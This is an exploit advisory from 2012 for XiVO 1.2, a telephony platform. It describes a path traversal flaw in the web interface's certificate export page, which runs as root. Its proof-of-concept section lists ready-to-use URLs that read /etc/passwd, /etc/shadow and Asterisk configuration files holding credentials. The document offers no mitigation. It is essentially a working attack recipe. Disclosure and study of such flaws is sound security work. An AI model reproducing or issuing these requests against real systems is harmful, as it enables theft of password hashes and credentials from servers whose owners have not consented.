Xivo 1.2 Arbitrary File Download

Xivo 1.2 Arbitrary File Download under root privileges
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Date: 6/11/2012
Exploit Author: Mr.Un1k0d3r
Vendor Homepage: https://wiki.xivo.fr
Software Link: https://wiki.xivo.fr/index.php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD
Version: 1.2 (last patched version)
Tested on: Linux xivo 2.6.32-5-486

Exploit:
Using the web interface you can download any file from the system. The web application is running under root privileges. 
You can download clear text password, /etc/passwd, /etc/shadow and many more...

POC:
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwd
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/shadow 
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.conf
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf

This vulnerability was discover by Mr.Un1k0d3r From RingZer0 Team.